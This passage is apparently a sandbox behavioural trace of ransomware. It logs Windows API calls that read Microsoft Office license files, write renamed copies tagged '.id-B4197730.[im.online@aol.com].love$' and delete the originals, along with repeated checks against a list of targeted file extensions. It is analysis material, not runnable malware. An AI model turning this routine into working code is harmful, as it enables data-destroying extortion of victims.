returned 1 [0263.548] SetEndOfFile (hFile=0x568) returned 1 [0263.548] CloseHandle (hObject=0x568) returned 1 [0263.548] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.548] SetEndOfFile (hFile=0x388) returned 1 [0263.552] CloseHandle (hObject=0x388) returned 1 [0263.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 1 [0263.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0263.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0263.555] lstrlenW (lpString=".doc") returned 4 [0263.555] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.555] lstrlenW (lpString=".docx") returned 5 [0263.555] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.555] lstrlenW (lpString=".pdf") returned 4 [0263.555] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.555] lstrlenW (lpString=".xls") returned 4 [0263.555] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.555] lstrlenW (lpString=".xlsx") returned 5 [0263.555] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.555] lstrlenW (lpString=".ppt") returned 4 [0263.555] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0263.555] lstrlenW (lpString=".zip") returned 4 [0263.555] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.555] lstrlenW (lpString=".rar") returned 4 [0263.555] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.555] lstrlenW (lpString=".bz2") returned 4 [0263.555] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.555] lstrlenW (lpString=".7z") returned 3 [0263.556] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0263.556] lstrlenW (lpString=".dbf") returned 4 [0263.556] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0263.556] lstrlenW (lpString=".1cd") returned 4 [0263.556] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0263.556] lstrlenW (lpString=".jpg") returned 4 [0263.556] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0263.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0263.556] lstrlenW (lpString=".doc") returned 4 [0263.556] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.556] lstrlenW (lpString=".docx") returned 5 [0263.556] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.556] lstrlenW (lpString=".pdf") returned 4 [0263.556] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.556] lstrlenW (lpString=".xls") returned 4 [0263.556] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.556] lstrlenW (lpString=".xlsx") returned 5 [0263.556] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.556] lstrlenW (lpString=".ppt") returned 4 [0263.556] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0263.557] lstrlenW (lpString=".zip") returned 4 [0263.557] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.557] lstrlenW (lpString=".rar") returned 4 [0263.557] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.557] lstrlenW (lpString=".bz2") returned 4 [0263.557] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.557] lstrlenW (lpString=".7z") returned 3 [0263.557] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0263.557] lstrlenW (lpString=".dbf") returned 4 [0263.557] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0263.557] lstrlenW (lpString=".1cd") returned 4 [0263.557] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0263.557] lstrlenW (lpString=".jpg") returned 4 [0263.557] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.557] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0263.557] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 37 [0263.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.559] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11621) returned 1 [0263.559] CloseHandle (hObject=0x388) returned 1 [0263.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 0x220 [0263.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.560] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.560] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0263.561] GetLastError () returned 0x0 [0263.561] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0263.946] WriteFile (in: hFile=0x568, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0263.949] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.949] WriteFile (in: hFile=0x568, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11e, lpOverlapped=0x0) returned 1 [0263.949] SetEndOfFile (hFile=0x568) returned 1 [0263.950] CloseHandle (hObject=0x568) returned 1 [0263.950] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.950] SetEndOfFile (hFile=0x388) returned 1 [0263.955] CloseHandle (hObject=0x388) returned 1 [0263.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 1 [0263.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0263.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0263.959] lstrlenW (lpString=".doc") returned 4 [0263.959] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.959] lstrlenW (lpString=".docx") returned 5 [0263.959] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.959] lstrlenW (lpString=".pdf") returned 4 [0263.959] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.959] lstrlenW (lpString=".xls") returned 4 [0263.959] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.960] lstrlenW (lpString=".xlsx") returned 5 [0263.960] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.960] lstrlenW (lpString=".ppt") returned 4 [0263.960] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0263.960] lstrlenW (lpString=".zip") returned 4 [0263.960] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.960] lstrlenW (lpString=".rar") returned 4 [0263.960] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.960] lstrlenW (lpString=".bz2") returned 4 [0263.960] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.960] lstrlenW (lpString=".7z") returned 3 [0263.960] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0263.960] lstrlenW (lpString=".dbf") returned 4 [0263.960] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0263.961] lstrlenW (lpString=".1cd") returned 4 [0263.961] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0263.961] lstrlenW (lpString=".jpg") returned 4 [0263.961] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0263.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0263.961] lstrlenW (lpString=".doc") returned 4 [0263.961] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.961] lstrlenW (lpString=".docx") returned 5 [0263.961] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.961] lstrlenW (lpString=".pdf") returned 4 [0263.961] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.961] lstrlenW (lpString=".xls") returned 4 [0263.961] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.962] lstrlenW (lpString=".xlsx") returned 5 [0263.962] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.962] lstrlenW (lpString=".ppt") returned 4 [0263.962] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0263.962] lstrlenW (lpString=".zip") returned 4 [0263.962] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.962] lstrlenW (lpString=".rar") returned 4 [0263.962] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.962] lstrlenW (lpString=".bz2") returned 4 [0263.962] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.962] lstrlenW (lpString=".7z") returned 3 [0263.962] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0263.962] lstrlenW (lpString=".dbf") returned 4 [0263.962] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0263.962] lstrlenW (lpString=".1cd") returned 4 [0263.963] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0263.963] lstrlenW (lpString=".jpg") returned 4 [0263.963] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.963] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0263.963] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 37 [0263.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.965] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=19966) returned 1 [0263.965] CloseHandle (hObject=0x388) returned 1 [0263.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 0x220 [0263.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.967] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.967] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0263.969] GetLastError () returned 0x0 [0263.969] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0263.973] WriteFile (in: hFile=0x568, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0263.975] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.975] WriteFile (in: hFile=0x568, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11e, lpOverlapped=0x0) returned 1 [0263.975] SetEndOfFile (hFile=0x568) returned 1 [0263.976] CloseHandle (hObject=0x568) returned 1 [0263.976] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.976] SetEndOfFile (hFile=0x388) returned 1 [0264.343] CloseHandle (hObject=0x388) returned 1 [0264.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0264.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 1 [0264.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0264.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0264.346] lstrlenW (lpString=".doc") returned 4 [0264.346] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0264.346] lstrlenW (lpString=".docx") returned 5 [0264.346] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0264.346] lstrlenW (lpString=".pdf") returned 4 [0264.346] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0264.346] lstrlenW (lpString=".xls") returned 4 [0264.347] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0264.347] lstrlenW (lpString=".xlsx") returned 5 [0264.347] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0264.347] lstrlenW (lpString=".ppt") returned 4 [0264.347] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0264.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0264.347] lstrlenW (lpString=".zip") returned 4 [0264.347] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0264.347] lstrlenW (lpString=".rar") returned 4 [0264.347] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0264.347] lstrlenW (lpString=".bz2") returned 4 [0264.347] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0264.348] lstrlenW (lpString=".7z") returned 3 [0264.348] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0264.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0264.348] lstrlenW (lpString=".dbf") returned 4 [0264.348] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0264.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0264.348] lstrlenW (lpString=".1cd") returned 4 [0264.348] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0264.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0264.348] lstrlenW (lpString=".jpg") returned 4 [0264.348] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0264.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0264.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0264.348] lstrlenW (lpString=".doc") returned 4 [0264.348] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0264.348] lstrlenW (lpString=".docx") returned 5 [0264.348] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0264.348] lstrlenW (lpString=".pdf") returned 4 [0264.349] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0264.349] lstrlenW (lpString=".xls") returned 4 [0264.349] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0264.349] lstrlenW (lpString=".xlsx") returned 5 [0264.349] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0264.349] lstrlenW (lpString=".ppt") returned 4 [0264.349] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0264.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0264.349] lstrlenW (lpString=".zip") returned 4 [0264.349] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0264.349] lstrlenW (lpString=".rar") returned 4 [0264.349] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0264.349] lstrlenW (lpString=".bz2") returned 4 [0264.349] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0264.349] lstrlenW (lpString=".7z") returned 3 [0264.349] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0264.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0264.349] lstrlenW (lpString=".dbf") returned 4 [0264.349] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0264.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0264.349] lstrlenW (lpString=".1cd") returned 4 [0264.349] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0264.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0264.349] lstrlenW (lpString=".jpg") returned 4 [0264.350] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0264.350] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0264.350] lstrlenW (lpString="HomeBusinessR_Retail2-pl.xrm-ms") returned 31 [0264.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0264.352] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=10659) returned 1 [0264.352] CloseHandle (hObject=0x388) returned 1 [0264.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 0x220 [0264.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0264.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0264.353] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.353] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0264.355] GetLastError () returned 0x0 [0264.355] ReadFile (in: hFile=0x388, 